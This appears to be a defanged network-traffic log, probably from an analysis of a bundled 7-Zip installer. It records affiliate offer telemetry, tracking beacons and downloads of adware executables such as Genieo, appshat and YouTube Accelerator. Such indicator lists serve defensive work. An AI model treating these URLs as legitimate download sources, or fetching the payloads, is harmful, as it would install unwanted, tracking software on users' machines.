hxxp://xa.xingcloud.com/v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.mystartsearch.1.hperr.opera 65.255.35.142
hxxp://xa.xingcloud.com/v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.mystartsearch.ds 65.255.35.142
hxxp://online.speedbit.com/online/Report.aspx 212.143.22.119
hxxp://xa.xingcloud.com/v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.mystartsearch.nt.ff.tab 65.255.35.142
hxxp://xa.xingcloud.com/v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.mystartsearch.finish 65.255.35.142
hxxp://xa.xingcloud.com/v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.mystartsearch.hp 65.255.35.142
hxxp://www.inipegcc.com/infv3/index/2606/3rd/6.3.76.1518/37f90e7172ce364049fd177205bf4b1d 50.23.120.56
hxxp://www.inipegcc.com/files/zip_r3/2606_ecd79b66f49d1d1c707187ca5bffb0b3/2.zip 50.23.120.56
hxxp://xa.xingcloud.com/v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.mystartsearch.wpm 65.255.35.142
hxxp://xa.xingcloud.com/v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.mystartsearch.ient 65.255.35.142
hxxp://xa.xingcloud.com/v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.mystartsearch.RegWrite 65.255.35.142
hxxp://xa.xingcloud.com/v4/sof-windowspm/?action0=xa.geoip&action1=visit&action2=install&update0=ref,wpmvt&update1=nation,us&update2=language,en 65.255.35.142
hxxp://www.inifkhjr.com/files/third/2015/01/16/172511/350/XTab_4.0.2.1716.exe 50.23.120.54
hxxp://xa.xingcloud.com/v4/sof-windowspm/?action=visit.heartbeat.wpmvt&update3=version,20.0.0.1714 65.255.35.142
hxxp://xa.xingcloud.com/v4/sof-windowspm/?action=visit.heartbeat.wpmvt 65.255.35.142
hxxp://installer.betterinstaller.com/awat7zip54650/7zip/032b51a823ded246ba19346b82f99535?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
hxxp://d2q90bop9bptps.cloudfront.net/images/Tokyo/tokyo_sprite_full.png 54.230.200.83
hxxp://dwl4rwv9nkwfy.cloudfront.net/images/Tokyo/tokyoLightGrayStripesBG.jpg 54.239.168.111
hxxp://dwl4rwv9nkwfy.cloudfront.net/affiliates/filesfrog/eula.html 54.239.168.111
hxxp://www-google-analytics.l.google.com/__utm.gif?utmwv=5.6.3&utms=5&utmn=1695078490&utmhn=installer.filebulldog.com&utmhid=739797407&utmr=-&utmp=Installer_Init&utmht=1423886467920&utmac=UA-31676879-1&utmcc=__utma=1.1353110465.1423886295.1423886295.1423886295.1;+__utmz=1.1423886295.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);&utmjid=&utmu=qhCAAAAAAAABAAAAAAAAAAAE~
hxxp://d2q90bop9bptps.cloudfront.net/mirror/nerocrossrider/appshat_generic.exe 54.230.200.83
hxxp://s3-1-w.amazonaws.com/partner/gim394750002/release/live/InstallGenieo.exe
hxxp://d4ekdi381yoqv.cloudfront.net/mirror/filesfrog/UpdateCheckerSetup.exe 54.230.202.95
hxxp://installer.betterinstaller.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=032b51a823ded246ba19346b82f99535&uniqid=9b2a2631e07de3ea563da5f894f4918c&affiliate_id=awat7zip54650&software_id=7zip&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=dff471ae8875df20b51e21b816962f44&tokyo_csrf2_timestamp=1423886467&slot_number=1&index_in_screen=1&index_in_session=1&display_height=170&0.7890064771978099
hxxp://xa.xingcloud.com/v4/sof-ient/267123711_198339_B48A115F?action0=xa.geoip&action2=visit&update0=ref,smt&update1=nation,us&update2=language,en&update3=version,2.8.8.28&update4=chptid,smt 65.255.35.142
hxxp://xa.xingcloud.com/v4/sof-ient/267123711_198339_B48A115F?action1=install.smt 65.255.35.142
hxxp://xa.xingcloud.com/v4/searchprotect/267123711_198339_B48A115F?action0=xa.geoip&action1=visit&action2=install 65.255.35.142
hxxp://xa.xingcloud.com/v4/searchprotect/267123711_198339_B48A115F?action=visit.heartbeat.smt&update0=ref,smt&update1=nation,us&update2=language,en&update3=version,4.0.1.1716 65.255.35.142
hxxp://up.soft365.com/Fan/rebirth?uid=267123711_198339_B48A115F&ptid=smt&ver=4.0.1.1716&dname=mystartsearch 174.36.247.67
hxxp://flex.msn.com.nsatc.net/mstag/mstag.1003102000.js 207.46.194.8
hxxp://www-google-analytics.l.google.com/analytics.js
hxxp://e8218.ce.akamaiedge.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQwF4prw9S7mCbCEHD/yl6nWPkczAQUe1tFz6/Oy3r9MZIaarbzRutXSFACEEeXTXhzpbyrDS+zcBkvzl4=
hxxp://e8218.ce.akamaiedge.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRsif7263KedmR2MLuYKv9+WQCtWAQU1A1lP3q9NMb+R+dMDcC98t4Vq3ECEBILJd3le4hjatTZfSO5nIg=
hxxp://e8218.ce.akamaiedge.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRIt2RJ89X++hEzqoBeQg8PymQ2UQQUANhaTCXBIuWLMe9tuvPMXynxDWECEGVSJuGyLhjhWQ8phawi51w=
hxxp://e8218.ce.akamaiedge.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSpuCE3aK3GivZPzGQJ6L5BRyZofwQUl9BrqCZwyKE/lB8ILcQ1m6ShHvICEAxNF3PJUX7iAOhAP2oGxcI=
hxxp://a1363.dscg.akamai.net/pki/crl/products/MicCodSigPCA_08-31-2010.crl
hxxp://e8218.ce.akamaiedge.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSpuCE3aK3GivZPzGQJ6L5BRyZofwQUl9BrqCZwyKE/lB8ILcQ1m6ShHvICEEES5jLHsYoCmjofrIA6uJ8=
hxxp://ocsp.usertrust.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBR8sWZUnKvbRO5iJhat9GV793rVlAQUrb2YejS0Jvf6xCZU7wO94CTLVBoCEEIa8pQJhBkfUgpLxiQmp0s= 178.255.83.1
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=032b51a823ded246ba19346b82f99535&uniqid=9b2a2631e07de3ea563da5f894f4918c&affiliate_id=awat7zip54650&software_id=7zip&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=dff471ae8875df20b51e21b816962f44&tokyo_csrf2_timestamp=1423886467&slot_number=1&index_in_screen=1&index_in_session=1&0.2669770722692098
hxxp://installer.betterinstaller.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=032b51a823ded246ba19346b82f99535&uniqid=9b2a2631e07de3ea563da5f894f4918c&affiliate_id=awat7zip54650&software_id=7zip&sponsored_id=appshat_madness&tokyo_csrf2_key=dff471ae8875df20b51e21b816962f44&tokyo_csrf2_timestamp=1423886467&slot_number=2&index_in_screen=1&index_in_session=2&display_height=90&0.7467430618831574
hxxp://ocsp.usertrust.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRtl6lMY2+iPob4twryIF+FfgUdvwQUK8NGq7oOyWUqRtF5R8Ri4uHa/LgCEBBwnU/1VAjXMGAB2OqRdbs= 178.255.83.1
hxxp://ocsp.usertrust.com/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBSOJaE2H4hHYQzP74hlLuO41NG+EAQUHsWxLH2H2gJofCW8DAeEP7bP3vECEQCEHQmdFrc480Fy/u/h0ldP 178.255.83.1
hxxp://www.theviilage.com/windowspm/up?ptid=wpmvt&sid=WindowsMangerProtect&ln=en_us&ver=20.0.0.1714&uid=&upv= 208.43.69.149
hxxp://a1621.g.akamai.net/msdownload/update/v3/static/trustedr/en/D69B561148F01C77C54578C10926DF5B856976AD.crt?c08fe4720072e56f
hxxp://hostedocsp.globalsign.com/root-r3.crl
hxxp://hostedocsp.globalsign.com/gscodesignsha2g2/MFMwUTBPME0wSzAJBgUrDgMCGgUABBQpEOCqbmTiQA9OjY//t2aa8NSkuwQUGUq4WuRNMaUU5V7sL6Mc+oCMMmsCEhEhEciVJl3DcOpdbVDkbeKcRg==
hxxp://hostedocsp.globalsign.com/root.crl
hxxp://hostedocsp.globalsign.com/gscodesigng2/MFMwUTBPME0wSzAJBgUrDgMCGgUABBRruLd2WRFk6cRYGFIqkQ4J8hxDogQUCG7YtpyKv+0+18N0XcyAH6gvUHoCEhEhR5HFQnItXEGJJ9zEpk51tw==
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=032b51a823ded246ba19346b82f99535&uniqid=9b2a2631e07de3ea563da5f894f4918c&affiliate_id=awat7zip54650&software_id=7zip&sponsored_id=appshat_madness&tokyo_csrf2_key=dff471ae8875df20b51e21b816962f44&tokyo_csrf2_timestamp=1423886467&slot_number=2&index_in_screen=1&index_in_session=2&0.3324661454424312
hxxp://installer.betterinstaller.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=032b51a823ded246ba19346b82f99535&uniqid=9b2a2631e07de3ea563da5f894f4918c&affiliate_id=awat7zip54650&software_id=7zip&sponsored_id=geneio_non_search_for_pc&tokyo_csrf2_key=dff471ae8875df20b51e21b816962f44&tokyo_csrf2_timestamp=1423886467&slot_number=3&index_in_screen=1&index_in_session=3&display_height=75&0.670880497716196
hxxp://d2otsfra4otprh.cloudfront.net/mag/ytaiesmt_smtyc_setup.exe 54.230.200.252
hxxp://online.GOOBZO.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=d1fff6f4-9b68-4327-a77d-371e4d5247a9&Password=vyO3DXXU&OS=10&V=3.3.9.4&VS=1&Beta=0&Aff=smtycl1_0_0_0_0,aad59c11-71bf-4fd1-8fcf-4ed6f2e4aee0,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=20131113143800&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&XMLUpdateFailed=0&ElapsedTime=1423886358&SBPIDS=1
hxxp://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl 88.221.132.166
hxxp://d1cfk8e4o0c4u2.cloudfront.net/21074.ashx?e=lOCrbsNL2zXk4TYbHkoM1B0A8JFzEu3P9r oKgoB5VSMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1MfE16HFIGhueXVGwxO6WJTGfUAa7iw46Ynx1L6FK423gf16e4ac/Z5HDM2m1ZIhPjdarsixYIPPiVFVFOLSkDx74r1XQZFERLciXFAHp4HlL1HtSmBYQHI0JQd5HxgIXdABmFtdiJe0RFBvYhjCj9O4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJp/zL9PNaMx/usrAPq35vVlQY4i7iGMzUQEtavtM6DVnqH3UQRU CYhTdrjW90rtT8fCNPMMZQVvw== 54.230.200.21
hxxp://dwl4rwv9nkwfy.cloudfront.net/mirror/filesfrog/UpdateCheckerSetup.exe 54.239.168.111
hxxp://installer.filebulldog.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=236762cce52fe54e8735a3807f6f1de4&uniqid=9b2a2631e07de3ea563da5f894f4918c&affiliate_id=awat7zip54650&software_id=7zip&sponsored_id=geneio_non_search_for_pc&tokyo_csrf2_key=bca770a08b436005085d2663e3ef3f0a&tokyo_csrf2_timestamp=1423886294&slot_number=4&index_in_screen=1&index_in_session=4&0.5368514700020851 78.138.127.15
hxxp://download.filesfrog.com/software_files/7_zip/9_20/7z920.exe 212.7.199.182
hxxp://d1vw44q53d84jx.cloudfront.net/t.ashx?e=/k6kR j50tqrESd40BFHqYxXl6h7wlTh/9kBvUGgBK38ln8Iap23//2TEkHeJNDU9z6MsirOygBgF1NDvTU5XmUl0xzv/1Q1GxrTqW15vZAdYLC6Fwg82dCUHeR8YCF3BQ8MIYMfS0viLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmvfwqbgkyABd 54.230.200.21
hxxp://d1mvy92rurx48h.cloudfront.net/mirror/nerocrossrider/appshat_generic.exe 54.239.168.245
hxxp://d3bg798gjlk71j.cloudfront.net/yta33_sh_full.exe 54.230.201.127
hxxp://install-cdn.sourceapp.info/sd?is=sm 213.155.152.200
hxxp://www.google-analytics.com/analytics.js 173.194.113.201
hxxp://download.genieo.com/partner/gim394750002/release/live/InstallGenieo.exe 54.231.9.17
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=XJYuqQQo69fhEjJFr58dc41ITLtOHJ j7OXLse4BafSoipMojeRGOY2 5cMBkwSYktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6KPuMdH9xkPFYS5k6/5B5fItzmslvEwWlX4l9XCm/Va/LS8QKBdwSe29z1KklHinBKYX3Ti/i3YMgCmKZYKupqUHUSCCw4FeFDxvb2glxipSM0fuUANTo2024kL2X34LpxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJeK7a1soWlgbXd/rihenux98u8yyRdRELOtzUBSk3dy/yrfMepBGOKTbWl4 u9fR6HwOiefr6X0TA== 54.230.200.21
hxxp://installer.filebulldog.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=236762cce52fe54e8735a3807f6f1de4&uniqid=9b2a2631e07de3ea563da5f894f4918c&affiliate_id=awat7zip54650&software_id=7zip&sponsored_id=appshat_madness&tokyo_csrf2_key=bca770a08b436005085d2663e3ef3f0a&tokyo_csrf2_timestamp=1423886294&slot_number=3&index_in_screen=1&index_in_session=3&0.08536826518128781 78.138.127.15
hxxp://rep.youtubeaccelerator.com/app/ping.ashx?e=s5Ydxb c7o0bk7XUyXGZ5seI11IItJtHtRYCWMbOXNDdEMPgzYwqeWQ14on7GBy10Z2od4/JytiUTOMPdFXY/7OjtqelOAq5S5Zh8zqLOZ9ZNgLaUTJ6JCEdbCsTxXU3YigV0joIXtmtzUBSk3dy/yrfMepBGOKTbWl4 u9fR6HOh6M6OEG6WwH52BQS2VDhNPMJ2DRUrFeFuEhupHszFkSmKH5lT07PQ1kgjXHSHi1Pu9FI3 6MG6yVq1Ms99xdxaTTmY/LLPy7V1/PFrjZFZGoCwBRvueP7OUq27b2mrT573fGVhqBe Iu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSaqTMNUzlv3S2UwQxN4YQsjeo5cv5pNmp8fl0yK7ww8bTVome7UQCaFakViX/vEF9gCuWk0op3HznMlTjuIPCQ7Z45nHPfvJZu0FscvLmfeEU= 54.197.238.106
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=XJYuqQQo69fhEjJFr58dc41ITLtOHJ j7OXLse4BafSoipMojeRGOY2 5cMBkwSYktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6KPuMdH9xkPFYS5k6/5B5fItzmslvEwWlX4l9XCm/Va8U4NDWVSf76ATxIUcsgQ wO1MeTElIgRus2zM3OKTsdhhqfTLLUt3A0w03bJUd6M6r6tum2 2Wo8bgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXiu2tbKFpYG13f64oXp7sffLvMskXURCzrc1AUpN3cv8q3zHqQRjik21pePrvX0eh8Donn6 l9Ew= 54.230.200.21
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=XJYuqQQo69fhEjJFr58dc41ITLtOHJ j7OXLse4BafSoipMojeRGOY2 5cMBkwSYktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6KPuMdH9xkPFYS5k6/5B5fItzmslvEwWlX4l9XCm/Va8FwTBnjqtB6SJSQWKLfKoAjgb6v7cXpPtruJ2zeNP9BRjldEvIPSqUjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9uOy dZOY5uM7AQhJgQ701LW6zVFlLdS7 Sp4vJbFkTJZmo3hTCidILO7jdoKu0sWmb7Whn ft8sw== 54.230.200.21
hxxp://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?1f08128fe2364792 88.221.132.207
hxxp://download.cdn.mozilla.net/pub/firefox/releases/34.0.5/update/win32/en-US/firefox-34.0.5.complete.mar 88.221.132.190
hxxp://crl.microsoft.com/pki/crl/products/MicCodSigPCA_08-31-2010.crl 88.221.132.166
hxxp://d1cfk8e4o0c4u2.cloudfront.net/21074.ashx?e=blUJ6JGwk9IdAPCRcxLtz/a/qCoKAeVUjA5kVqVgWdD8SaNRCRsmETynsL3GEE9THxNehxSBobnl1RsMTuliUxn1AGu4sOOmJ8dS hSuNt4H9enuGnP2eRwzNptWSIT43Wq7IsWCDz4lRVRTi0pA8e K9V0GRRES2/ /pHLzwo46XiXyTIj07NCUHeR8YCF3f3amhGF4Du/GojbssuQdE1bQfHq0QVBDAqQD6wYK7JQE8XIWrh60PYXV1rPYBwrFqy2cd4qoQDl0oePvh0n93NexvF9Z3oAvVYgO0yHAHEtWxfnFMZ/afU2jIarPQLm1vWMx1IDzZCAiSHm/HybhFS9eA0ci2BjQD82t84QhMzI= 54.230.200.21
hxxp://flex.msn.com/mstag/site/649013f9-6914-436e-ba0b-dcbf07bc69d7/mstag.js 207.46.194.8
hxxp://installer.filebulldog.com/installer/ajax 78.138.127.15
hxxp://installer.filebulldog.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=236762cce52fe54e8735a3807f6f1de4&uniqid=9b2a2631e07de3ea563da5f894f4918c&affiliate_id=awat7zip54650&software_id=7zip&sponsored_id=appshat_madness&tokyo_csrf2_key=bca770a08b436005085d2663e3ef3f0a&tokyo_csrf2_timestamp=1423886294&slot_number=3&index_in_screen=1&index_in_session=3&display_height=90&0.8073159998251204 78.138.127.15
hxxp://www.google-analytics.com/r/__utm.gif?utmwv=5.6.3&utms=1&utmn=1330437739&utmhn=bi.bisrv.com&utmhid=934154437&utmr=-&utmp=Installer_Init&utmht=1423886223463&utmac=UA-31676879-1&utmcc=__utma=1.833397082.1423886223.1423886223.1423886223.1;+__utmz=1.1423886223.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);&utmjid=15135696&utmredir=1&utmu=qhCAAAAAAAABAAAAAAAAAAAE~ 173.194.113.201
hxxp://d1cfk8e4o0c4u2.cloudfront.net/21074.ashx?e=KSz5qzb2KgLgYhkkxDuatz/cjNrC8w4q7OXLse4BafTbQC nVTu53h5TX6K4Kv02ktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6An5VjwTD4wapVuBneuOiaiazLFSkfv6p1QHs3X92ilG/TyjmwB5PDLPiCC4paVhdy/ecrRsbq5se8sWoJl9YpG8ZBHg14Y1UjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9uOy dZOY5uM7AQhJgQ701LW6zVFlLdS7 Sp4vJbFkTJZmo3hTCidILO7jdoKu0sWmb7Whn ft8sw== 54.230.200.21
hxxp://d1cfk8e4o0c4u2.cloudfront.net/21074.ashx?e=KSz5qzb2KgLgYhkkxDuatz/cjNrC8w4q7OXLse4BafTbQC nVTu53h5TX6K4Kv02ktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6An5VjwTD4wapVuBneuOiaiazLFSkfv6p1QHs3X92ilEHhLicvnhfXymF904v4t2DMqrjxCw EkyrMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEZXZrelYJPLU4a2AY8Es2IqZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2rylZq4Q1VXWsM 54.230.200.21
hxxp://www.youtubeaccelerator.com/finishinstall?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,aad59c11-71bf-4fd1-8fcf-4ed6f2e4aee0,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=75&BundleID=NONE 107.20.238.80
hxxp://api.jollywallet.com/affiliate/client?dist=141&sub=iF2EwJSsmtycl&name=ShopperPro
hxxp://installer.filebulldog.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=032b51a823ded246ba19346b82f99535&uniqid=9b2a2631e07de3ea563da5f894f4918c&affiliate_id=awat7zip54650&software_id=7zip&sponsored_id=appshat_madness&tokyo_csrf2_key=dff471ae8875df20b51e21b816962f44&tokyo_csrf2_timestamp=1423886467&slot_number=2&index_in_screen=1&index_in_session=2&0.3324661454424312 78.138.127.15
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=eFCD8T/coic9XN4SPQf2KR0A8JFzEu3P43ARP/2L O6MDmRWpWBZ0CAvELRpepitKPuMdH9xkPFYS5k6/5B5fItzmslvEwWlLhu0b45kiT YRPInKLFMVV2fkhc dP37s IILilpWF3SrJmHujm63Cf5bqaDCRXd5hh73raZ3I13CCeuVDoTn5Kni8lsWRMlmajeFMKJ0gs7uN2gq7SxaZvtaGf5 3yzBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dwoDd7hh3KMfQ== 54.230.200.21
hxxp://installer.filebulldog.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=236762cce52fe54e8735a3807f6f1de4&uniqid=9b2a2631e07de3ea563da5f894f4918c&affiliate_id=awat7zip54650&software_id=7zip&sponsored_id=mystartsearch&tokyo_csrf2_key=bca770a08b436005085d2663e3ef3f0a&tokyo_csrf2_timestamp=1423886294&slot_number=2&index_in_screen=1&index_in_session=2&0.5691190955500126 78.138.127.15
hxxp://d1cfk8e4o0c4u2.cloudfront.net/21074.ashx?e=aQQpsP6/AW3U0UsIWSR1jauaEVQSfvLn7OXLse4BafTbQC nVTu53h5TX6K4Kv02ktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6An5VjwTD4wapVuBneuOiaiazLFSkfv6p72zIVN1UN1xQAPEg9HAY/7i9yaZDVXNnKYX3Ti/i3YOWcmQ2qx PSIgI4Iz7fz4ZjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9uOy dZOY5uM7AQhJgQ701LW6zVFlLdS7 Sp4vJbFkTJZmo3hTCidILO7jdoKu0sWmb7Whn ft8sw== 54.230.200.21
hxxp://www.googleadservices.com/pagead/conversion.js 173.194.113.205
hxxp://www.youtubeaccelerator.com/js/jquery-1.8.3.min.js 107.20.238.80
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=KC46TpkJIZzvtemz1TdLVimVSxD0vRfV7OXLse4BafSoipMojeRGOY2 5cMBkwSYktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6KPuMdH9xkPFYS5k6/5B5fItzmslvEwWlkiqa1CzzkCQXCfGg4gcTppNB3Tmp8 xhs IILilpWF23BICZd3Qj2WVSXL3FiMLd94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjm0wz0U6I70ghzFcuANGYcsiWjWDbDO01nl1RsMTuliUxn1AGu4sOOmJ8dS hSuNt4cRt5SusbiWA== 54.230.200.21
hxxp://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh/sBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAaeHbd/zx37qXr15cmiQDc= 93.184.220.29
hxxp://d1cfk8e4o0c4u2.cloudfront.net/21074.ashx?e=LCnUzM5l8JJqYAUAeKhUK86iZAPgIqyK7OXLse4BafTbQC nVTu53h5TX6K4Kv02ktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6An5VjwTD4wapVuBneuOiaiazLFSkfv6pb GEwPiedNIwNlMFOpV0Sjs1eJiiYYwojgb6v7cXpPu7w RGhL4bCV24GJNKQQ3n2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk TnksFA3b2kxAGnJe6ozK4TqyO7n6uBRPJ3fgfM8lzCpa vc5SQIre FUXssKkFksYsB9OsCPqg== 54.230.200.21
hxxp://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQgppSLAb7oJaQ6RVV2Zh9VwZIGMwQUkHHbN+tzyO/c1R4StjS6K1qgppICEAhNBHHxCxzajegaZLj8jyw= 93.184.220.29
hxxp://www.google-analytics.com/r/__utm.gif?utmwv=5.6.3&utms=1&utmn=406695088&utmhn=installer.filebulldog.com&utmhid=311055109&utmr=-&utmp=Installer_Init&utmht=1423886294933&utmac=UA-31676879-1&utmcc=__utma=1.1353110465.1423886295.1423886295.1423886295.1;+__utmz=1.1423886295.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);&utmjid=199995249&utmredir=1&utmu=qhCAAAAAAAABAAAAAAAAAAAE~ 173.194.113.201
hxxp://bi.bisrv.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=a023b93ee3ddb84f912034f3917e580f&uniqid=9b2a2631e07de3ea563da5f894f4918c&affiliate_id=awat7zip54650&software_id=7zip&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=1f9ac8845ca219af3f49645e02cffe6f&tokyo_csrf2_timestamp=1423886216&slot_number=1&index_in_screen=1&index_in_session=1&0.9101025986293587 78.138.127.15
hxxp://rep.youtubeaccelerator.com/app/ping.ashx?e=qIQu8 l0/f3HiNdSCLSbRzNQ327oSemc3RDD4M2MKnlkNeKJ xgctR/BbyLwbpRWS4NlvEo3Po3fHDEhjsU1jmbktPzt6Fdq8aHXnj8PuXHIahPQTC7hQpKni8lsWRMlmajeFMKJ0gs7uN2gq7SxaZvtaGf5 3yzl8axoeNMkn46SEXCM79iefveis23DNM6naQQuHaXH0P7e7Z5lK2CBt35bH/eTc70z3EdWN1pnr 5wqQtZePiPscQdvIcPTBjo0SbHGEDLI 3LHIFTI8ANKiX9alU/YH9xuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJe0t1UorR32ajRt6ubd2oIq/OW74nu26uk8p7C9xhBPUx8TXocUgaG55dUbDE7pYlMZ9QBruLDjpifHUvoUrjbeB/Xp7hpz9nmjzI9BxDSNCg== 54.197.238.106
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=/k6kR j50tpQhScA1jb3T41ITLtOHJ j7OXLse4BafSoipMojeRGOY2 5cMBkwSYktRvu3dN qGZg0ZX8t IcnNIiIg8cLj1qdLRFa/hNsHgYVfCxh2ryo8NrWaOm1x6KPuMdH9xkPFYS5k6/5B5fItzmslvEwWlX4l9XCm/Va/jJX2BNWr5ZmwkqgaQEwGAs IILilpWF3kQFMBsA Vt4zwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbjsvnWTmObjOwEISYEO9NS1us1RZS3Uu/kqeLyWxZEyWZqN4UwonSCzu43aCrtLFpm 1oZ/n7fLM= 54.230.200.21
hxxp://installer.filebulldog.com/awat7zip54650/7zip/236762cce52fe54e8735a3807f6f1de4?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423 78.138.127.15
hxxp://d3dle8xo1zpfnz.cloudfront.net/ytai.exe 54.239.168.128
hxxp://bi.bisrv.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=a023b93ee3ddb84f912034f3917e580f&uniqid=9b2a2631e07de3ea563da5f894f4918c&affiliate_id=awat7zip54650&software_id=7zip&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=1f9ac8845ca219af3f49645e02cffe6f&tokyo_csrf2_timestamp=1423886216&slot_number=2&index_in_screen=1&index_in_session=2&0.8695299825474372 78.138.127.15
hxxp://www.google-analytics.com/ga.js 173.194.113.201
hxxp://www.youtubeaccelerator.com/img/youtube-accelerator-logo.png 107.20.238.80
hxxp://d1cfk8e4o0c4u2.cloudfront.net/21074.ashx?e=k64GogClQtXHiNdSCLSbRx1EyVQcGKtmQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3YigV0joIXtmtzUBSk3dy/yrfMepBGOKTbWl4 u9fR6HOh6M6OEG6W7xTD5wywOJP/u6z7Uinv/hnet2bNFIaB2iZCCrzprTQVjr4IQgU6/03VTKOu38TtLPiCC4paVhdQW0QLiFfYl12K9rRzWJ3HioE61g3AUaSxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJeK7a1soWlgbXd/rihenux98u8yyRdRELOtzUBSk3dy/yrfMepBGOKTbWl4 u9fR6HwOiefr6X0TA== 54.230.200.21
hxxp://ocsp.verisign.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRIt2RJ89X++hEzqoBeQg8PymQ2UQQUANhaTCXBIuWLMe9tuvPMXynxDWECEGVSJuGyLhjhWQ8phawi51w= 23.43.139.27
